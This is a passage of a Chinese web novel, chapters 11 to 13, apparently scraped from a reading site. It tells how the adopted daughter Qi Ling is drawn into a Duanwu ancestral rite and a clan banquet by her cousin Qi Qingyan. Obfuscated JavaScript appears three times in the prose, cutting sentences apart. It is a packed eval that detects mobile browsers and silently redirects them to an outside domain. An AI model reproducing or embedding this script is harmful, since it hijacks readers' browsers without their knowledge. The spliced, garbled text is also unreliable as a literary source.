祁云漱见此翻了个白眼,嗤道:“没出息。” 祁云漪一个小团子从辛夷阁中走了出来,身后跟着玉盘,她乖巧地喊过哥哥姐姐。 “泠妹妹怎么——” 祁雪峤还没问完便被祁云漱打断,她语气颇凶,“祁泠去祭祀做什么?生怕别人不知道二房有她这个祸害吗,又不是祁家人,快走吧。” 祁雪峤说不过姐姐,随着一同走了,不过偶尔还回头望望。 祁云漪一走,室内忽而跟着走了不少人。祁泠望向榻边打盹的银盘,“银盘,你也随着玉盘一同去吧,我记得,祭祀最后家主训话,训完话可要发赏钱的。” 银盘摇摇脑袋,“奴婢留下来陪娘子,才不去呢。” “不必陪我。”祁泠眉眼弯弯,望着她,“你陪着我作甚,今日起得太早,我有些累了,如今歇下小憩片刻就是了,等你回来再叫醒我。” 银盘确实想去,看了看祁泠,她面上并无失落。前几日娘子确实没闲下来,睡一会儿也好,银盘犹豫过后一口答应下来,“那娘子,奴婢快去快回,领到赏银就回来!” “嗯。” 室内安安静静,再无声响,偶尔听得院中侍从脚步声,伴着几句话音。 祁泠坐在妆奁前,默默望着铜镜,镜中女娘梳高髻,略施薄粉,锦衣裙、簪金钗,是士族娘子模样。 她拿起玉梳,缓缓梳着发。 她知道自己身世那日,也是端午。 那时她六岁,也如这几日满心期待过节的祁云漪一般欢喜。早早被冯夫人唤起来,沐浴更衣,戴上五色丝和准备供奉的香囊。 冯夫人牵着她,先去瑞霭堂,那时的老夫人还当着家。 刚到院前,却听得内里已闹翻了天。 “儿媳常听得祁家五代簪缨,不染纤尘,族中男子德行两全,忠君不二,是为良臣,女子贞静自持,清白守德,是为良妇。家族极重门规尺度,今日儿媳在此,敢问母亲二房所行何事,将一娼妓所生、生父不知何人的野种带回家中,当成嫡系的娘子养,祁家脸面何在?清白何在?” 祁泠还听不懂,握紧冯夫人的手,害怕地靠在冯夫人身边。 院中大人们高高在上,刺向她的眼光中有疑惑、惊讶、鄙夷,小小的她尚看不明白,但害怕起其中毫不掩饰的恶意。 见到冯夫人和祁泠已至,她冷冷道:“二房瞒了六年,母亲心软忍得,但儿媳忍无可忍,无法容忍祁家血脉有污,门风不正,请母亲将祁泠赶出祁家。” 往日和善的叔母态度陡然一变,望向她的眼神带着浓重的厌恶,仿若她是什么脏东西。 那些话仿若还萦绕在耳边,高高在上的目光,多年斩不断。 祁泠手持玉梳,从头梢梳到发尾,一下又一下,心中漫起无边孤寂。 …… 天方泛起鱼肚白,晨露微晞,今日祁家人皆聚在祀堂。 待仆从敲击青铜编钟三通,声音层层穿透祀堂,忽而静谧,无一丝声音。 祁家长房祁观颐长不在建业,二房又在江州多年,祭祀一事早早便落到长房嫡孙身上。 今日祁清宴为主祭,着玄端暗纹礼服,玉冠束发,腰间枚繁琐古纹玉佩,手持玉圭立于祀堂前,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583797|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后是祁家各房男子,以及从远处赶来的旁支。祁家妇孺则皆着浅色深衣,候在祀堂的屏风后。 他面无表情,薄唇抿着,漆黑如墨的眸子凝起几分疏离冷漠,抬高玉圭,率领全族向天地四方行拜礼。 “祁氏子孙谨以清酌庶羞,敬荐祖先之灵……” …… 待颂过祭文,祁清宴先捧酒爵到供桌,各房男子依次上前献酒饮。随后当家主母即祁清宴的母亲大夫人慕容氏率女眷向祠堂敬献亲手缝制的香囊、艾虎。 时人敬道,祁家亦请来道士设坛。 直至日光大盛,将近午时,祭祀方结束,族人亦散去,只余主祭与记官。 记官需将祭祀流程写入族谱,汇过今日要事后,他仍跟在祁清宴身后,“郎君,今日色黄润,天澄明,温和而不炽,伴之微风,是为祖宗欣然,家族行事合乎天之意哉。” 书记官说的文绉绉,祁清宴似乎在听,敷衍点头,走向重归沉寂的祀堂。 “不瞒郎君,下臣昨日夜观天象,我族昌盛定来日更胜……”记官乃祁家家臣,负责祭祀观天象之事,今日好不容易见到祁清宴,还是与其独处,此刻神叨叨追着祁清宴说。 “哦?”祁清宴嘴角荡起浅淡弧度,不咸不淡地开口,连目光都吝啬回头停留。 记官自然知道他这是没当回事,身为祁家长房嫡子,家族继承人,如此奉承的话早听得腻了耳朵。 记官压低声音,“昨夜紫微垣划过东南,代表祁家……将出宰辅之臣呐!”说到最后,他激动得嘴唇都发抖。祁家向来不掺合皇族事,若是一朝改变,再出宰辅,乃是能记入族谱的荣誉啊。 祁清宴停下脚步,压抑着激动的记官也随着停下,期待望着祁清宴,等着他接着问。 可祁清宴没什么反应,只似笑非笑:“慎言啊。” 论摊上一个不喜玄学的家主,负责卜卦的家臣有多难。记官停在原地连连叹气,听闻谢家的礼官待遇那叫一个好。不像他,寻常见不到家主,见到了,家主也不乐意信…… 祁清宴步伐悠闲,袖中右手不自觉捻着一条应节的五色丝,正欲走进祀堂,忽见牌位供案前有一鬼鬼祟祟的人影,正在翻着东西。 “是谁?”他扬声厉问。 那人影闻声,清瘦的身形一颤,慢腾腾转过身,抬头映在亮处的是一张俊秀年轻的脸,很快他又垂下头,对祁清宴道:“三堂兄。” 正是祁家二房独子祁雪峤。 祁清宴瞥一眼他背过去的手,又见那一堆等待祭祀过后要发于族人的绣品被翻得乱七八糟,他敛眉斥道:“大家都在前面备家宴,你在这里胡闹什么?” 祁雪峤鲜少见这位兄长,有些畏缩,磕磕绊绊道:“堂兄,我、我来取些东西,这便走了。”他偷偷将香囊塞进袖中,同祁清宴行礼后飞溜出去,险些撞到跟上来的记官。 而祁清宴独站在祀堂中,仍是早晨的位置,望着女眷们送来的绣品。 檀香萦绕之间,他忽而想起,今日缺了个人。 11. 第十一章 祁家的膳厅典雅庄重,布局讲究,长者居上,晚辈在下。 沈老夫人落座最上首,祭祀后便到膳厅中等,听荷为她捶着肩。她半阖着目养神,余光望着下面,来往侍从端着酒水,宴食,秩序井然。 这些事无需老夫人操心,全由大夫人准备。 各房的人逐渐来齐了,老夫人下首的案几却空空荡荡,后面厅柱候着琅玕院的小童,她记得似乎名弦,喊了一声,将他唤来,问:“你们郎君呢?” 小童一板一眼地先给老夫人行了礼,随后摇摇头:“回老夫人,奴也不知。” “真是奇了怪了。”沈老夫人琢磨着,孙子不是没分寸的人,要是外头有事要走,也会派人回来先传个话。莫不是又回去换衣裳了?她吩咐道:“你回琅玕院找找去。” 小童应下,从膳厅来往的侍从中灵活跑了出去。 他要找的人不在琅玕院,反倒在二房。 祁府的侍从或许认不全从江州回来的二房人,但都识得不常归府的祁清宴。除了二房自己从江州带回来的几个知根知底的奴婢,其余皆是从老宅调过去的。 故而,他畅通无阻地来到辛夷阁前。 院前一棵葳蕤辛夷树,绿茵如盖,几许清凉意。可惜辛夷花期一月,早开完落净了。院中几个洒扫丫鬟躲在墙角偷闲,与祁家老宅的规矩严苛不同。 …… 祁泠确实打算睡片刻的,脱去外面披帛,躺下了。不然她该如何打发等待众人归来的空闲时候,忍受漫长的孤寂? 可她睡不熟,身体疲惫,意识却清醒得很。 丫鬟忽而推了门,站在门口探头进来喊,“娘子,娘子!三郎君来了。” 祁泠睁开眼,坐起身来,素手拉开床纱,有些发懵,疑似听岔了,“三郎君?”二房只有一位郎君,三位娘子,无人唤三郎君。又是祭祀时,是谁? 小丫鬟退了几步,没关严门。 有人站在外头,身影被日光拉长,手指轻叩在门板上,先是沉闷木声,随之响起的郎君声音清润,话尾轻扬,“妹妹?” 熟悉的声音突兀砸碎心头的空与静,泛起层层让人无法平静的涟漪来。 祁泠凭着声音,立刻听出来人是谁,她匆匆起身,穿好绣鞋,下了床榻,快步走向门前,一拉开—— 祁清宴便站在门侧。 很近,近到她打开门扉的瞬间,两人仅有半步的距离,她稍稍抬眼,便看清了他。 他往日都是温润又内敛的,广袖长袍,衣饰简单,自带贵气,从无敷粉之好,自然便是濯濯清风的人物。 可今日一身玄衣,加重了身上肃气,他那双长又眼尾微挑的乌润眼眸显得气势凌人,鼻梁挺直,上唇偏薄,似有傲气,不易亲近。 而他带来的檀香萦绕在祁泠鼻尖,祁清宴的面庞在她眼眸中,她难以置信地凝视他,面上露出几分茫然的神情,“堂兄?你怎么在这?” 祁清宴嘴角微微翘起,笑抹去他身上的凌厉,又同往日一般无二了。他也并未遮掩本意,顾左右而言他,反而直接道:“来寻你。” 女娘于是又惊讶住,呆呆地望着他,一双潋滟的眸子只有他的面庞,思绪转不过弯。 “我今日没见到妹妹。”祁清宴解释道。 祁泠猜,他应当知道她的身世,但不知道多年前当众闹出来的丑事。毕竟这对他而言毫无意义,又有何人会碎嘴,同他细说。 她已不会因此难堪,故而算是自然地把话说出来:“堂兄,我只是祁家养女,没有身份去祀堂祭祀,今日才留在二房。” 祁泠说话时别开了目光,祁清宴垂眸望着她。女娘今日精心打扮过,发中系着五色丝,美人浑然天成,清水芙蓉便已绝色,又添脂粉,衬得眉眼更为昳丽。 他问:“我有件事要办,妹妹可愿随我一同?” 他举止总是出乎祁泠意料,无论是此时出现在她门前,还是邀她一同,都让人意外,又拒绝不得。 祁泠顿一下,随后道:“劳烦堂兄稍等我片刻。” 祁清宴自然应允。 祁泠又怎会让他久等?赶忙回到妆奁前,拿起玉梳将发梳正了,穿上披帛,银盘不在,她自己正过衣冠,不失礼便好,几息的功夫就出门了。 “堂兄要去做何事?”眼瞧着是往祁家老宅走,祁泠不禁问道。 “有些东西落在祀堂,其余人都忙着,正巧妹妹与我同去。”祁清宴道。 祁泠知道去何处便放心了,跟在他身侧,人步伐时快时慢,偶尔衣衫交叠,相碰,能闻到他身上的檀香味。 一路来到祀堂。 祁家人都已走了,只余祀堂前几个守卫,见到祁清宴行礼,认不得祁泠,但也很识趣地没询问身份,任由祁清宴将祁泠带了进去。 祁泠记不清祀堂的模样了。唯一的印象是小时候跟在冯夫人身边,周围全是大人,她看不清,只随着跪来跪去,香火的气息浓郁。 祁清宴率先踏入祀堂。 他问:“妹妹,你觉得何为家族?” “家族亲缘相系,荣辱与共,是为宗族。”祁泠停在祀堂的门槛前,向内看去,一排高大的立柱稳稳支撑着祀堂屋脊,祁家先祖牌位皆摆于此,牌位前一条长的供桌,摆满酒水与香烛。 青铜香炉中仍有燃着的香,烟雾袅袅绕于供案前,庄重而神秘。 “妹妹为何不进来?” “我未上族谱。”祁泠道,她没有身份进去,“堂兄,我在此候着便好。” “世家编纂族谱,记录世系姻亲,以正血统,防止寒门冒籍。是为异姓不相为后。” “可妹妹与我同一姓氏,长在祁家,同住祁府,在我看来,妹妹便是祁家的人。” 祁清宴站在中央,恍惚之间祁泠几乎见到了众人都在此处的场景,他是不久后的家主,此刻回头同她道,“来日亦会有上族谱之机。” 祁泠对此并无执念。 她多年前险些被从祁家赶出去,那以后才知生母是歌姬,不知其姓名,不知从何处来,也不知生父为谁。 若不是冯夫人将她带回来,护她长大,她或许早就死了,或许也成了风月楼中一歌姬,或一舞姬。 所以当初听闻卢肇月狎妓时,她退婚的念头才如此强烈。 在卢肇月说出送走或处置那舞姬时,她没有一丝被偏爱的窃意,在某个时刻,她会想,万一她是那舞姬又该如何?故而,她不会后悔退婚。 “堂兄,我自知身份,未曾想过。”祁泠如实道。上了族谱,于她好处居多,但她不愿再生波澜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583798|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祁清宴并未强求,只从旁侧拿出三炷香,走近递给祁泠,道:“端午敬祖,阿泠,你是祁家人,来上香可好?” 祁泠于是接过香,走进祀堂,跪在蒲团上,对着牌位虔诚叩了头。她小时曾多次期盼她真的是祁家的孩子,阖家团圆之日不必被排挤在外。冯夫人养着她,却也不能坏了大规矩。 如今长大,她知晓那些无法改变,仍感念祁家给了她容身之所,庇佑她长大。 手中的香燃起丝丝白烟,如同血脉,将她与偌大的祁家联系起来,在这一瞬,她不再如毫无根系的浮萍。 待她上过香,候在一旁的祁清宴道:“妹妹,伸手。” 时而妹妹,时而阿泠,祁泠听得已然习惯,对他的防备渐渐淡去,闻言伸出手,抬眼望着他。 他拿出袖中五色丝,上面挂着一颗小玉粽,精致可爱。他的手修长又灵活,将五色丝系在她手腕上,三两下打了个精巧的小结。 他笑着说:“父亲不在,便由我当主祭,扮一回家主,尚余一五色丝,正好是妹妹的。” 祁泠垂眼看着五色丝,心中的热流涌动,暖意浸身。她知道这是什么,曾经祁云漱参加完祭祀会向她显摆,这是家主给家中孩子的赐福。 如今,她也有了。 他哪里是有东西要取呢?分明是骗了她来,不独自呆在二房。 “走吧,妹妹,到了用膳的时辰。”祁清宴道。 祁泠点点头,毫无防备与他一同离开,跟着他走,身上也沾染了若有若无的檀香,不稍片刻,只见来往的侍从更多。 她顿住脚,望向不远处热闹的庭院。 祁泠记得这里,祁府的膳厅,她有将近十年未曾到过此处。祁清宴就站在前方一步望着她,目光沉静。 她不知祁清宴要带她来膳厅。 内里如今满是祁家人,是她名义上的亲人,但实际她从未融入这个家,二房给了她一隅存身之地,让她体会到片刻亲情的温暖。 她迎上祁清宴的目光,嘴唇张开,他的眸子像是深潭,太过平静,使得她本脱口而出的话哽在喉间,几欲不能说出。 但事实如此,谁也无法抹去,她说:“堂兄,我不饿,今日恐不能与你一同……” “为何?”祁清宴偏问。 两人接触的时日着实不久,但祁泠已经看出他对事情有一点执着。她只好道:“堂兄,我能留在祁家已然有幸,不愿再出惹事端。” “家宴而已。你在躲避,也在害怕,害怕什么?”祁清宴语气笃定,祁泠却无法回答,无法辩驳。 她确实害怕,害怕如同从前一般,那些讥讽、带着嫌弃的目光。只要一想到那个场景,她又成了一个无处可去的可怜幼兽。 那时的她尚且能哭,心安理得地由冯夫人挡在她身前。可如今祁泠已经长大,她知道冯夫人养她不容易,祁府容她也不容易。 祁泠想要逃跑,往后退了几步,不想打破平静。 而祁清宴上前,伸手握住她手腕,“祁泠,你没做错任何事,既然长在祁家,便是祁家的人,家宴为何不能去?” 祁泠欲将手拽回,他却不容,扣紧她的手腕,不让她有丝毫的退却,声音带着安抚意味,“别怕,祁泠。” “我带你去。” 12. 第十二章 祁泠确实害怕。 但她的手腕被握住,隔着一层单薄的衣料,感受到对方掌心的温热,她退不得。他的目光沉稳,仿若任何事都掀不起一丝波澜,望着她,又唤一声妹妹。 周遭霎时静谧下来,被他带着,祁泠的心也莫名静了下来。 在他面前,她那些犹豫纠结都变得微小,似乎也没什么大不了的。 祁泠放松了手,不再固执退后,祁清宴随之松手。方才的争执、拉扯、接触一瞬而过,又重归了从前恰当的距离。 “郎君!” 门童从琅玕院的方向跑来,到两人面前累得稍稍弯着腰,气喘吁吁,“郎君,要开宴了,老夫人寻您呢,着急得不得了。” 他目光往后,自然而然瞧清了后面的祁泠,马上又拘谨起来,挺直身子,睁着大眼睛,一张小脸红的发涨,磕磕绊绊的,“娘子、三娘子安好。” 门童姓沉,名弦。今年不过十余岁,平日里跟在祁清宴身边,做些跑跑腿的活计,闲时贡家兄弟学些本事。 虽然他人小脸皮薄儿,但心思巧,转个弯就琢磨明白郎君自己去二房找人了,他偷望了眼祁清宴,在心中悄悄埋怨一句为何不带着他。 被祁清宴看了一眼,沉弦立刻收回视线,上前推开门,引着两人往膳厅里头走。 此刻膳厅之内,气氛略有些僵,还未开宴,祁清宴没留下信儿莫名走了,到底是惹了一人不痛快。 腿快的丫鬟跑到膳厅内,向主子们欢喜禀着:“来了!来了——” 沈老夫人闻言睁眼,挥退了旁侧侍奉的听荷,看向另一侧下首板着脸的夫人,极快地蹙了蹙眉,不耐一闪而过:“好了,老大媳妇,规矩是死的,人是活的,他晚就晚些是了,谁也不饿,也没误了正经时辰,等一等便罢了,这也来了不是。” 老夫人下首的大夫人一袭墨绿深衣,梳一高髻,翠玉为簪,珰东珠为饰,一双长且狭的眸子,与祁清宴有几分相像,却因着过于严肃的神情没有亲和意。闻言她压了压眼,眼尾褶皱略深,声音拉得长且缓,“母亲,迟到为小,失礼为大。礼乃天之经,地之义,断不可废。” 她素来如此,眼中揉不得一粒沙子,做事倒是一丝不苟,不出错,只是为人未免太过不近人情,清高傲人的架子难放,闹得夫妻不和,母子不亲。老夫人提了一句,她不听,便懒得同她多说了。 那头,堂兄妹两个正进来。 祁清宴给各位长辈问了安,语速略慢了些,正好给了祁泠随着请安的功夫。膳厅内人多,却全静了下来。 厅前的两人,娘子长裙簪钿,面容姣好,娉婷袅娜。郎君礼服端肃,玉山上行,光映照人。容貌皆为一等一的好,不知的人看来,倒是一对嫡亲兄妹模样。 脸色最不好看的莫过于大夫人,原本便因祁清宴耽误了宴席有几分不悦,又见儿子将她不喜的人带来了。 多年未见,当初闹开了,亦无需再留脸面,大夫人开口便责:“你为何带她来?” 祁泠便知晓会有这么一刻。即使走进膳厅前,她已千百次设想过再次走到众人面前会有的责难与难堪,此时还是被这句话压得喘不过气来,心头沉沉,处处发堵。 “母亲,她姓祁,虽是养女,亦是祁家人,为何不能来?”祁清宴站在她前面一点,遮住了她低垂的头,也遮掩了她的难堪。 “她——”大夫人还欲再说,却被沈老夫人打断。 “都消停些罢。”老夫人语气颇重,看了看这些儿辈孙辈,发了话,“都是一家人,做什么吵个不停,还能有几个团圆时候。”一个女儿家,说不准何时就嫁了出去,占个祁家虚名又能如何?再者,她年纪也大了,还能熬过几个年头。 曾经不管事的老太太,对这个便宜孙女有了几分偏袒意思,到底是婆母,大夫人遂闭了嘴。 长房人少,大夫人和祁清宴坐在老夫人下首两侧。二房人来的最多,祁观复身边坐着祁雪峤和祁云漱姐弟。冯夫人独一小案,与幼女祁云漪一同。 三房在祁清宴旁边,祁观岚抱着小儿子,祁既白祁望舒一对兄妹坐在最后面。 祁清宴吩咐道:“在我下首为三娘子置一案。”三房与祁泠关系不大,坐在二房又难免将他母亲的怒火惹去。位置放在祁清宴下首,直接表明今日让祁泠来是他的意思,与旁人无关。 在场的哪个人听不明白意思,大夫人因此怒意更甚,“清宴。” 祁清宴从始至终平平静静,面对欲发火的大夫人,亦是语气平淡地唤了一声,“母亲。” 大夫人出身慕容氏。慕容氏门卿遍布朝野,族中处尊居显之人甚多。作为慕容家那一辈唯一的嫡女,她自是顺风顺水,当初议亲时,家中父兄也尽量允她选个可心的夫君。 嫁到祁家,算是下嫁。 大夫人倨傲惯了,此刻险些要离席而去。但她的儿子,长房嫡子,是祁家未来的家主,家族的表率,若是她走了,难免损了他的名望。 纵使不愿,大夫人到底没再反驳,只是同儿子置了气。又忽然有种感觉,祁清宴不再是哭闹着不愿,也能被她强硬送去慕容家,在那里长大的孩子了。 她知道儿子恐怕因此和她生了隔阂,可她不后悔,祁家说是名门,行事却荒谬得紧,那里比得上慕容氏门风清正,规矩森严? 侍从动作极快,在祁清宴旁侧不远另设一小案。 祁泠过去坐下,旁侧便是三房一家。祁望舒隔远朝着祁泠挥了挥手,她身旁坐着祁既白,君子似兰,淡雅而有风姿,不过温吞了些,同祁泠互相颔首以表礼节。 三房最上首坐的人是祁观岚,岁月似乎并未在她面容留下痕迹,她却有着几分英气,梳着建业最时兴的灵蛇髻,婉转灵动,细细描了花钿,对着祁泠弯起唇,善意笑了笑。 她怀中揽着的孩子瞧着不过两三岁模样,穿着红彤彤的老虎衣、戴着虎头帽,朝着祁泠眨巴眨巴眼,伸出两只胖乎乎的小手,晃啊晃,祁观岚一手拦了下来。 小孩子没顺心,哇一声哭了出来。 缓了几分膳厅之内的尴尬气氛,也转移了大夫人的几丝怒意,嫌弃地看了一眼,这也不是什么干净东西。 祁家便是这般,二房妻妾不分,不明不白地养着从贱处来的孩子。三房嫁出去的女儿,泼出去的水,偏偏又收了回来。和离十五载,在娘家的女儿,生出来个三岁孩子,当真是让人贻笑大方。 大夫人在心中暗暗冷笑。 这孩子生父不明,当初祁家内里也闹了好大一场。祁观岚咬死不说孩子是谁的,也不肯寻个夫婿将此事遮掩下来。 老夫人虽生气,但看刚生产后的女儿虚弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588610|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无力,只靠在榻边默默流泪,想起她年少和离,夫家不仁,到底舍不得逼的太过,索性睁一只眼闭一只眼过去,一个孩子又不是养不起,只有大夫人继祁泠一事后,又被气得不轻。 祁观岚管不住,索性松了手。 小孩子就摇摇晃晃扑到祁泠身边去,她照顾祁云漪习惯了,顺手抱住。小孩子揪着她衣袖,只仰着头,眨着眼,不停看她。 祁观岚掩唇一笑,“我们阿濯就是喜欢美人。” 沈老夫人被逗笑了:“来吧,闹一个姑娘家作甚,阿濯到祖母这儿来。” 祁观岚身边的侍女到祁泠身边,行礼后将阿濯抱到了老夫人身边。 胖乎乎的小孩儿,朝她咧嘴笑。祁泠也生出几分喜爱来,这孩子与她有相似之处,都未上族谱,如今只有个小名阿濯。 阿濯虽然身份也尴尬,但有祁观岚这个母亲护着,遇不到委屈。 老夫人当初生气,但养在身边时日久了,倒是比几个大的更稀罕,阿濯在瑞霭堂的地位快比得过祁清宴了,逗弄着小外孙,又想起唯一缺席的人来,同小阿濯道:“也不知你大舅何时归?他还没看到过你呐。” 祁泠的养父祁观复如今在建业得了份光禄大夫的官职,算不得位高,不常被皇帝召见,好处是能留在建业,也是老夫人的意思,此刻开口道:“母亲,北关事重,脱不开身。但几日前大哥曾寄书信与我,似乎今年年节前能归来,还要我劝慰母亲,不必惦念他。” “怎么能不惦念?”老夫人提起久未相见的儿子唉声叹气,大家少不得又要相劝。 祁观岚是家中姑奶奶,被偏疼的小女儿,几句话又劝的老夫人喜开笑颜。 她将祁望舒养得极好,在外祖家长大却从不卑怯,做母亲的亦将心比心想到了祁泠,难免生出几分恻隐之心,于是转而道:“今早阿泠送来的角黎甚是好吃,内里包了蜜渍的枣子,甜而不腻,恰到好处,我一连吃了两个,将阿濯那份也吃掉了。母亲可要让阿泠多多到三房去,阿濯也喜欢她得紧呢。” 老夫人便也顺着道:“她心灵手巧,在外行事有度,对内亦恭敬,未堕了祁家门楣。到底是祁家的孩子,以后什么杂的闲的,勿要再提。” 从前祁泠总远着祁家二房之外的人,一朝受了惊,此后都不愿再去惹人嫌。 今日才晓得,是她过于狭隘了,祁家并非人人都不喜她。只是她不去亲近,旁人自也不会主动来寻她。 直到今日,被祁清宴拉着进来,她才对姓祁,一家人这件事有了真切感。 听着耳边众人言笑宴宴,祁泠心中亦如温澜浮动,盈盈暖意,忽而察觉有人看着她。她放下咬了一口的糕点,抬头望向前面的祁清宴。 确实是祁清宴在看她。 她亦回望,用眼神以询祁清宴有何事? 祁清宴摇摇头,又转回头去,挥手将沉弦唤道近旁,低声嘱咐几句。 沉弦抹了一把头上刚消失的汗,又任劳任怨地跑了出去。 不多时,沉弦回来了,到祁清宴远着祁泠的那边,将声音放得很低,反正祁泠没听到,不知他们在商议什么要紧事,也避嫌没仔细去听。 “丢了?”祁清宴挑眉,而沉弦点点脑袋,又小声道:“郎君上次不要,此后二房送来的东西碧若都丢了,说是郎君的意思。” 13. 第十三章 家宴须臾便散了。祁泠起身相候,等冯夫人牵着祁云漪起身,她往对面去,打算与冯夫人一同回二房。 刚走到近处,听荷从上首小跑过来,给冯夫人请了安,又与祁泠道:“三娘子,老夫人要留着娘子说几句话。” 冯夫人牵着祁云漪,见此道:“阿泠,你去罢,我在此等你。”祁云漪揉了揉眼睛,也脆生生地说要等阿姐。 祁泠便随听荷去了旁侧的小客堂。沈老夫人不愿再折腾,说两句话就打算让人回去。她坐在八仙椅上,将祁泠唤到近处,开门见山地说。 “当初,老大媳妇做的过了些,但今日,你也见到了,她就是个刻薄性子,得理不饶人,连她自己的儿子也受不了,不事事由她。” 祁泠默默听着,今日大夫人一直不悦,宴中便离席而去。 沈老夫人接着道:“今日我没出声,也是下她面子,让她知晓自己的错。可既是一家人,我也要与你说清——你不必念着她的好,但也不要埋怨记恨她,坏了家宅安宁。事皆有因果,她亦不是刻意针对你,慕容氏家规森严,刻板迂腐,门风正不正不提,表面是容不得半点变通,不许子孙出一点错的。如若犯了错,便要狠狠苛责,去打、去骂,才养了她这般的性子出来。” 大夫人到底是祁家长房的夫人,沈老夫人即使不满,也不容许家中生乱。 祁泠道:“祖母,阿泠晓得。能在祁家长大,阿泠已然心存感激,不会闹出乱子。况且……堂兄多次相助,阿泠不会对大夫人有怨言。” 她说得也是真心话,沈老夫人看出来也听出来了。提起慕容氏的事,她更心疼的另有其人,叹息一声,“可慕容家对女儿尚算宽和,最可怜的是你兄长,在祁家长大,大家喜他护他有多好,偏送去旁人家寄人篱下,受苦受难,当娘的着了魔,倒让我老太太留憾。” “那时祁家比不得慕容家,我又是前朝余孽,只顾着喘气,说不上一句话、做不了主的人,她要把孩子送去,谁又能说什么?只可怜我的阿质,再没了小时顽皮可爱……” 沈老夫人沉浸在惋惜中,又转头同听荷说:“去将三郎唤来,我再单独同他说几句话。” 祁泠又得了几句嘱咐后告退,出了小客堂,见膳厅前空空荡荡。 侍奉在膳厅的丫鬟上前,同祁泠怯怯道:“三娘子,小娘子困倦,二夫人带着她先回房去了。” 祁云漪自小便有午睡的习惯,祁泠点头表示知晓了,不过到底还是有一点稍纵而逝的失落。 “妹妹……” 带着几分拘谨的声音从身后传来,祁泠回头,少年站在不远处,喊她之后,匆匆几步赶上来。 是与她同岁的祁雪峤,两人同为二房人,幼时常在一处玩。 说来在大夫人当众戳破祁泠身世、欲赶她出去之前,祁家上下知晓她非亲生,但只有二房夫妇与老夫人知道她是从何处抱来的。 而大夫人得知这件事,恰与祁雪峤有关。 小时他被祁云漱欺负得多了,不喜姐姐,对只比他小几个月,粉团子样的小祁泠很是喜欢。能说会跑后,他总从柳姨娘的院子溜走,去冯夫人屋里找祁泠玩。 冯夫人善心,不会苛待他,虽也觉得这孩子碍眼。但一个孩子而已,又和祁泠一般大,便许他整日来寻祁泠玩。 偶一日,楼中来人说要将祁泠要回去,不过以此相迫多要些金银而已,被偷偷来寻祁泠的祁雪峤听到,回房学着话同柳姨娘说了。 柳姨娘早看不惯一个外来孩子占着二房嫡出的名分,暗暗查清了祁泠来处,一个被歌姬丢弃的女儿。她思来想去将这件事告诉了长房夫人面前,想以此扳倒冯夫人。 可她最后并未得逞,一向随和的冯夫人坚决要养祁泠,又正值多事之秋,最后迫得二房离开建业。 从此之后,即使冯夫人许,祁泠也不肯同祁雪峤一处玩了,一晃便过去十年。 如今回首,倒是觉得同一个小孩关系不大,纸包不住火,迟早会露馅的。可祁泠到底还没冯夫人那么心善,柳姨娘令冯夫人郁郁寡欢,早成病体。她明事之后对柳姨娘的一双儿女也亲近不起来。 况且,她与祁云漪不同,祁云漪长大后还要仰仗父兄为靠山,才有时让她与祁雪峤接触。 可若她也与柳氏所出的子女交好,冯夫人怎会不伤心? 祁雪峤:“我听说妹妹退了同卢家的婚事……” 祁泠只答:“是。”不愿与他多说。 祁雪峤难免因为她过于冷漠的态度而难过,但又知晓自己是妾室所出,两边不和。他只好自顾自地说:“这门亲退的好……这桩婚事不行,卢家是趋炎附势之辈,那卢肇月也配不上妹妹。” 祁泠闻言倒是惊奇地看了他几眼,她本以为柳姨娘一家都盼着她尽快嫁出去,不碍眼才好呢。 这几眼看得祁雪峤受宠若惊,垂头不与祁泠对视,闷闷道:“妹妹,待我有了官职在身,无人敢欺辱我们二房,也有人为你撑腰,届时妹妹定能寻到更好的婚事。”言下之意,让她晚些议亲。 祁雪峤也到了该有个官职的时候,他的事才是二房的大事,但与她和冯夫人关系不大。她微微笑了下,“若如此,父亲定会高兴。” 她总是如此疏离,祁雪峤尝试与她拉近距离,说些亲近的话,“我今早尝了妹妹送来的角黎……” 他还未说完,膳厅走出来一对父女。前面长者峨冠博带,面蓄短须,儒雅清矍。 祁泠转过身,行了一礼,“父亲。” 祁观复身后跟着祁云漱,祁云漱将弟弟一把扯了过去,白他一眼,人家不稀罕同她们两个一处,作甚总是冷脸贴上去? 祁观复对祁泠道:“你的婚事我知晓了,不用你说,我亦知是你母亲不肯让你寻我,只去老太太那里求。你也是,你母亲说你便听,退婚前我没听到一点风声。” 祁泠避重就轻,“劳烦祖母为女儿筹算了。”她依稀记得养父养母也曾有过和睦之时,不过近些年,两人渐行渐远,连带着祁泠与祁云漪都与父亲不甚亲近。 但祁泠知晓养父所言不虚,若真求到他面前,他总归是会允的,只是更难些罢了。 “你母亲瞧着倒好些了,晚上还总咳么?” 